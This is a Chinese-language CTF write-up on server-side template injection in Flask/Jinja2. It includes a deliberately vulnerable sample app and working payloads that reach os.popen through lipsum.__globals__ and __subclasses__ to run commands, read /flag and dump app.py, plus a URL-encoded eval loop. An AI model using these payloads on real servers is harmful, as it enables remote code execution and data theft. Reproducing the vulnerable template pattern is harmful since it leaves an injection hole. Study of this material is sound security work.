Werkzeug/1.0.1Python/3.8.7

    基础 Python3
    https://www.runoob.com/python3/python3-tutorial.html

    推荐阅读

    https://zhuanlan.zhihu.com/p/93746437 https://blog.csdn.net/u011377996/article/details/86776181

    先本地试试水
    这里搭建个简单 Flask 和 Jinja2

    1. from flask import Flask, request
    2. from jinja2 import Template
    3. app = Flask(__name__)
    4. @app.route('/')
    5. def index():
    6. search_str = request.args.get('s', '')
    7. return Template("Hey: {}<br>".format(search_str,)).render()
    8. if __name__ == "__main__":
    9. app.run('0.0.0.0')

    常用的 Jinja2 定界符有

    这里注意的是,模板渲染传入后,是有 Jinja2 环境的上下文信息的,
    如传入 lipsum 可以得到一个生成器。
    image.png
    环境上下文通常包含的关键字有
    namespacelipsumrangedictcyclerjoiner
    参考自
    https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-global-functions

    看了别人的还有,不过我这里没试出来,估计是其他 Jinja2 版本的
    url_forgrequestsessionget_flashed_messagesconfig

    其余可以看官方手册,list-of-global-functions 部分
    Python 一切皆对象,所有对象都是集成自 type 元类
    image.png

    然后通过 SSTI 题的基本思路是利用 Python 的 魔术方法(内置方法)找到可利用函数

    • __dict__:保存类实例或对象实例的属性变量键值对字典
    • __class__:返回调用的参数类型
    • __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    • __bases__:返回类型列表
    • __subclasses__:返回 type 对象方法
    • __init__:类的初始化方法
    • __globals__:函数会以字典类型返回当前位置的全部全局变量

    先通过环境上下文的对象获取全局变量。
    fuzz 一下 namespacelipsumrangedictcyclerjoiner 这几个发现
    lipsum 利用比较方便,可以直接 lipsum.__globals__
    image.png
    依次找到可以执行命令 lipsum.__globals__.__builtins__.__import__('os')

    1. {{lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

    image.png

    回到题目中
    fuzz 一下得到输入控制点
    image.png
    找了下发现 flag 在根目录下

    1. /?name={{lipsum.__globals__.__builtins__.__import__('os').popen('cat%20/flag').read()}}

    image.png

    来都来了,顺便嫖一下源码

    1. /?name={{lipsum.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20app.py%27).read()}}
    1. from flask import Flask
    2. from flask import request
    3. from flask import config
    4. from flask import render_template_string
    5. app = Flask(__name__)
    6. app.config['SECRET_KEY'] = "flag{SSTI_123456}"
    7. @app.route('/')
    8. def app_index():
    9. template = '''
    10. {%% block body %%}
    11. <div class="center-content error">
    12. <h1>Hello</h1>
    13. <h3>%s</h3>
    14. </div>
    15. {%% endblock %%}
    16. ''' % (request.args.get('name'))
    17. return render_template_string(template)
    18. if __name__=="__main__":
    19. app.run(host='0.0.0.0',port=80)

    其他解法
    利用 os 进行命令执行
    首先找到 os._wrap_close 的位置

    1. [].__class__.__base__.__subclasses__().index(os._wrap_close)

    这种方式不行,因为当前环境上下文中没有 os 模块,可以 burp fuzz一下,看看哪个包含 os

    1. [].__class__.__base__.__subclasses__()[0]

    image.png

    也可以自动查找运行

    1. {% for c in [].__class__.__base__.__subclasses__() %}
    2. {% if c.__name__ == 'catch_warnings' %}
    3. {% for b in c.__init__.__globals__.values() %}
    4. {% if b.__class__ == {}.__class__ %}
    5. {% if 'eval' in b.keys() %}
    6. {{ b['eval']('__import__("os").popen("id").read()') }}
    7. {% endif %}
    8. {% endif %}
    9. {% endfor %}
    10. {% endif %}
    11. {% endfor %}

    对上面进行 URL 编码(防止空格换行特殊字符破坏GET请求HTTP数据包),在通过 GET 请求参数传入即可

    1. %7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%20%20%7b%25%20%66%6f%72%20%62%20%69%6e%20%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%5f%5f%67%6c%6f%62%61%6c%73%5f%5f%2e%76%61%6c%75%65%73%28%29%20%25%7d%0a%20%20%7b%25%20%69%66%20%62%2e%5f%5f%63%6c%61%73%73%5f%5f%20%3d%3d%20%7b%7d%2e%5f%5f%63%6c%61%73%73%5f%5f%20%25%7d%0a%20%20%20%20%7b%25%20%69%66%20%27%65%76%61%6c%27%20%69%6e%20%62%2e%6b%65%79%73%28%29%20%25%7d%0a%20%20%20%20%20%20%7b%7b%20%62%5b%27%65%76%61%6c%27%5d%28%27%5f%5f%69%6d%70%6f%72%74%5f%5f%28%22%6f%73%22%29%2e%70%6f%70%65%6e%28%22%69%64%22%29%2e%72%65%61%64%28%29%27%29%20%7d%7d%0a%20%20%20%20%7b%25%20%65%6e%64%69%66%20%25%7d%0a%20%20%7b%25%20%65%6e%64%69%66%20%25%7d%0a%20%20%7b%25%20%65%6e%64%66%6f%72%20%25%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d

    image.png

    比如利用 132 找到的 os._wrap_close 对象执行命令

    1. /?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

    image.png